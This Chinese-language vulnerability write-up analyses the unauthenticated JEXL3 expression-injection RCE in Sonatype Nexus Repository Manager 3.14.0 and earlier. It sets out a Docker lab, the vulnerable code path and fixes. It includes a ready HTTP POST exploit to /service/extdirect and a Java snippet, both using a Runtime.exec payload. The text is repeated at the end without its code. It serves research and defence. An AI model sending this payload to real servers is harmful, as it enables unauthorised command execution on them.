Nexus Repository Manager3 JEXL3表达式注入浅析
字数 1073 2025-08-22 12:23:47

Nexus Repository Manager 3 JEXL3表达式注入漏洞分析与利用

漏洞概述

Sonatype Nexus Repository Manager 3存在一个JEXL3表达式注入漏洞,允许攻击者在未授权情况下通过发送精心构造的恶意JSON数据实现远程代码执行(RCE)。

影响版本

  • 受影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0
  • 修复版本:Nexus Repository Manager OSS/Pro 3.15.0

JEXL表达式基础

JEXL(Java EXpression Language)是一种简单的表达式语言,基于JSTL表达式语言扩展实现。

JEXL3基本使用示例

  1. 添加Maven依赖:
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-jexl3</artifactId>
    <version>3.0</version>
</dependency>
  1. 基本使用步骤:
// 创建JexlEngine
JexlEngine jexl = new JexlBuilder().create();

// 创建表达式
String jexlExp = "car.engine.checkStatus()";
Expression e = jexl.createExpression(jexlExp);

// 创建上下文并添加数据
JexlContext jc = new MapContext();
jc.set("car", car);

// 执行表达式
Object o = e.evaluate(jc);
  1. 完整示例代码:
public class TestCase {
    public static void main(String[] args) {
        JexlEngine jexl = new JexlBuilder().create();
        JexlContext jc = new MapContext();
        Foo foo = new Foo();
        Integer number = new Integer(9999);
        
        jc.set("foo", foo);
        jc.set("number", number);
        
        // 调用无参数方法
        JexlExpression e = jexl.createExpression("foo.getFoo()");
        Object o = e.evaluate(jc);
        System.out.println("value returned by the method getFoo() is : " + o);
        
        // 调用带参数方法
        e = jexl.createExpression("foo.convert(1)");
        o = e.evaluate(jc);
        System.out.println("value of " + e.getParsedText() + " is : " + o);
        
        // 使用上下文变量
        e = jexl.createExpression("foo.convert(number)");
        o = e.evaluate(jc);
        System.out.println("value of " + e.getParsedText() + " is : " + o);
        
        // 调用get方法
        e = jexl.createExpression("foo.bar");
        o = e.evaluate(jc);
        System.out.println("value returned for the property 'bar' is : " + o);
    }
    
    public static class Foo {
        public String getFoo() { return "This is from getFoo()"; }
        public String get(String arg) { return "This is the property " + arg; }
        public String convert(long i) { return "The value is : " + i; }
    }
}

漏洞利用原理

通过构造恶意的JEXL表达式,可以实现任意命令执行:

String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')";
JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);
JexlContext Context = new MapContext();
Object rs = Expression.evaluate(Context);

JEXL3解析执行流程

  1. 创建JexlEngine对象:new JexlBuilder().create()
  2. 创建表达式对象:engine.createExpression(Exp)
  3. 解析表达式:
    • 调用Engine.parse()方法
    • 使用Parser.parse()进行语法解析
    • 构建AST(抽象语法树)节点
  4. 执行表达式:
    • 创建上下文环境
    • 通过Interpreter.interpret()解析执行AST节点
    • 最终通过反射机制执行命令

漏洞复现环境搭建

  1. 拉取Nexus3 Docker镜像:
docker pull sonatype/nexus3:3.14.0
  1. 运行容器(带调试参数):
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus \
-v /path/to/nexus-data:/nexus-data \
-e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g \
-Djava.util.prefs.userRoot=/nexus-data \
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" \
sonatype/nexus3:3.14.0
  1. 下载源码并切换到对应分支:
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04

漏洞利用

漏洞请求路径

/service/extdirect

漏洞利用Payload

POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 825

{
    "action": "coreui_Component",
    "method": "previewAssets",
    "data": [{
        "page": 1,
        "start": 0,
        "limit": 50,
        "sort": [{
            "property": "name",
            "direction": "ASC"
        }],
        "filter": [{
            "property": "repositoryName",
            "value": "*"
        }, {
            "property": "expression",
            "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"
        }, {
            "property": "type",
            "value": "jexl"
        }]
    }],
    "type": "rpc",
    "tid": 8
}

漏洞分析

漏洞位置

plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy接口未进行权限验证

调用流程

  1. 请求首先经过DelegatingFilter处理
  2. 进入DirectJNgineServletdoPost方法
  3. 通过JsonRequestProcessor处理JSON请求
  4. 最终执行到存在漏洞的previewAssets方法

关键点

  • 接口未授权访问
  • 直接使用用户输入的表达式内容进行JEXL解析
  • 通过反射机制执行任意Java代码

防御措施

  1. 升级到修复版本3.15.0或更高
  2. 对用户输入进行严格过滤和验证
  3. 限制JEXL表达式的执行权限
  4. 实施最小权限原则运行服务
Nexus Repository Manager 3 JEXL3表达式注入漏洞分析与利用 漏洞概述 Sonatype Nexus Repository Manager 3存在一个JEXL3表达式注入漏洞,允许攻击者在未授权情况下通过发送精心构造的恶意JSON数据实现远程代码执行(RCE)。 影响版本 受影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0 修复版本:Nexus Repository Manager OSS/Pro 3.15.0 JEXL表达式基础 JEXL(Java EXpression Language)是一种简单的表达式语言,基于JSTL表达式语言扩展实现。 JEXL3基本使用示例 添加Maven依赖: 基本使用步骤: 完整示例代码: 漏洞利用原理 通过构造恶意的JEXL表达式,可以实现任意命令执行: JEXL3解析执行流程 创建JexlEngine对象: new JexlBuilder().create() 创建表达式对象: engine.createExpression(Exp) 解析表达式: 调用 Engine.parse() 方法 使用 Parser.parse() 进行语法解析 构建AST(抽象语法树)节点 执行表达式: 创建上下文环境 通过 Interpreter.interpret() 解析执行AST节点 最终通过反射机制执行命令 漏洞复现环境搭建 拉取Nexus3 Docker镜像: 运行容器(带调试参数): 下载源码并切换到对应分支: 漏洞利用 漏洞请求路径 /service/extdirect 漏洞利用Payload 漏洞分析 漏洞位置 plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy 接口未进行权限验证 调用流程 请求首先经过 DelegatingFilter 处理 进入 DirectJNgineServlet 的 doPost 方法 通过 JsonRequestProcessor 处理JSON请求 最终执行到存在漏洞的 previewAssets 方法 关键点 接口未授权访问 直接使用用户输入的表达式内容进行JEXL解析 通过反射机制执行任意Java代码 防御措施 升级到修复版本3.15.0或更高 对用户输入进行严格过滤和验证 限制JEXL表达式的执行权限 实施最小权限原则运行服务